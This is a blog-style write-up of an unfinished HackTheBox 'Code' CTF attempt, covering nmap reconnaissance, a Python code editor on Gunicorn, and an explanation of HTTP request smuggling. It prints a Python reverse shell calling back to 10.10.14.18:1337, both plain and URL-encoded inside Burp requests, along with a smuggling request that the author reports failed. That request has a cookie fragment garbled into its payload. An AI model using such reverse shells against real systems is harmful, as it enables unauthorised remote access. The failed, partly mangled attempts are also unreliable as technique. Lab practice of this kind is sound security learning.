Back to Write-ups
Write-upApril 26, 20254 min read

HackTheBox -- Code (EASY) Experience

I’ll walk through my experience tackling the HackTheBox "Code" CTF (Easy). I'll showcase my thought process, tools, and methods as I work through each stage — whether I succeed or hit roadblocks. The goal isn't just solving it, but highlighting how I approach challenges and sharpen my skills along the way. As of now this machine remains unsolved.

HackTheBoxCTFWalkthrough

HTB Code

Reconnaissance

As usual we begin with the nmap scan.

nmap -sC -sV -oA scan 10.10.XX.XX

This nets us the following output;

Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-26 07:39 EDT
Nmap scan report for 10.10.11.62
Host is up (0.18s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.44 seconds

From this I could see that there is ssh running as usual but then there is this service I have never seen before running on port 5000 Gunicorn version 20.0.4. I'll take note of that. Navigating to http://10.10.XX.XX:5000 we are greeted with a python editor, immediately the first thing that came to mind was some sort of code execution using the code editor.

Takeaway: An uncommon service (Gunicorn) might expose something useful, especially with interactive features like a code editor.

Taking a look around the website there is a login and a register page, weird. I'll create an account and log in.

Upon logging in I could see there is a page were all my "codes" are available. Let me try a python reverse shell.

import socket,os,pty

s=socket.socket()
s.connect("10.10.14.18", 1337)

[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

This is a simple python reverse shell but it didn't work, that would be too simple.

Now I am lost, I think I should research gunicorn and see what it is I might stumble on a vulnerabilty that I could exploit.

Initial Foothold

First search result tells me that Gunicorn is a python WSGI (Web Server Gateway Interface - interface that defines how python web application and web servers communicate) HTTP server, this specific version is vulnerable to HTTP request sumggling due to imporper validation of Transfere-Encoding header.

HTTP request smuggling?

HTTP request smuggling? It is a technique of interfering with the way a website handles and processes sequences of HTTP requests. Typically, web servers today employ a technique where many servers are used at once: a front-end server sends a series of HTTP requests to a back-end server, and the back-end server must determine where each request starts and ends. Both servers should be configured in a way where the receiving server knows the boundaries of each request, otherwise an attacker could send an ambiguous request that may be interpreted differently by each server. The attacker aims to make part of a request be interpreted as the beginning of the next request. The server determines where a request ends using Content-Length and Transfer-Encoding headers.

CL-TE means the front-end uses Content-Length, back-end uses Transfer-Encoding. TE-CL is the opposite. TE-TE means both use Transfer-Encoding.

Takeaway: Understanding how the front-end and back-end parse HTTP headers helps identify whether request smuggling is possible.

Whats the plan?

Firstly we have to figure out how the two servers communicate—are they TE-CL (Transfer-Encoding to Content-Length), CL-TE (Content-Length to Transfer-Encoding), or TE-TE (Transfer-Encoding on both ends)? I think I will do that by firing up BurpSuite and making a request to save the code and see the request in the proxy tab. I turned the interceptor on and then I saw that there is a Content-Length, but there was no Transfer-Encoding, so that leads me to believe this is a CL-TE setup. Moreover, when I add Transfer-Encoding: chunked, the request seems to be terminated, so yeah, CL-TE it is.

Takeaway: Identifying CL-TE behavior confirms the target may be vulnerable to HTTP smuggling.

POST /run_code HTTP/1.1
Host: 10.10.11.62:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 194
Origin: http://10.10.11.62:5000
Connection: keep-alive
Referer: http://10.10.11.62:5000/
Cookie: session=.eJyNjcEKwjAQRH9l3XPoxVv_QPAg3kRKWZJtXIgbyCYVKf13exUVPM3hzZtZc
JwS2Y0N--uCULfAO5tRZHR45ihWC1XJCta838jU0g4uuYEnBc0PSDmCaIfD6j4XjjnKm_q9dtCZkg
TwhQNrFUrWwSkxGUMtT6BIPy_-dgeHzbiMErDfry8fLVWg.aAzKzQ.GNRttSuFVzafhg6EIRZVegjojag
Priority: u=0

code=import+socket%2C+os%2C+pty%0A%0As+%3D+socket.socket()%0As.connect
((%2210.10.14.18%22%2C+1337))
%0A%0A%5Bo
s.dup2(s.fileno()%2C+fd)+for+fd+in+(0%2C+1%2C+2)%5D%0Apty.spawn(%22%2Fbin%2Fsh%22)%0A

From here I would try to run the reverse shell and then intercept the request and tweak the Content-Length value and the add Transfer-Encoding to the request and pray that it executes the shell.

This is the request I am going to send

POST /run_code HTTP/1.1
Host: 10.10.11.62:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 200
Transfer-Encoding: chunked
Origin: http://10.10.11.62:5000
Connection: keep-alive
Referer: http://10.10.11.62:5000/
Cookie: session=.eJyNjcEKwjAQRH9l3XPoxVv_QPAg3kRKWZJtXIgbyCYVKf13exUVPM3hzZtZcJwS2Y0N--uCULfAO5tRZHR45ihWC1XJCta838jU0g4uuYEnBc0PSDmCaIfD6j4XjjnKm_q9dtCZkgTwhQNrFUrWwSkxGUMtT6BIPy_-dgeHzbiMErDfry8fLVWg.aAzKzQ.GNRttSuFVzafhg6EIRZVegjojag
Priority: u=0

code=import+socket%2C+os%2C+pty%0A%0As+eJyNjcEKwjAQRH9l3XPoxVv_QPAg3kRKWZJtXIgbyCYVKf13exUV%3D+socket.socket()%0As.connect((%2210.10.14.18%22%2C+1337))%0A%0A%5Bos.dup2(s.fileno()%2C+fd)+for+fd+in+(0%2C+1%2C+2)%5D%0Apty.spawn(%22%2Fbin%2Fsh%22)%0A

This sadly hasn't worked. I'll try again but after learning more about his vulnerability.


Reminder

Let me remind you again of our brothers and sisters in Palestine that are suffering under the IDF. Consider supporting them at least financially, anything would help no matter the size through PCRF (Palestine Children Relief Fund).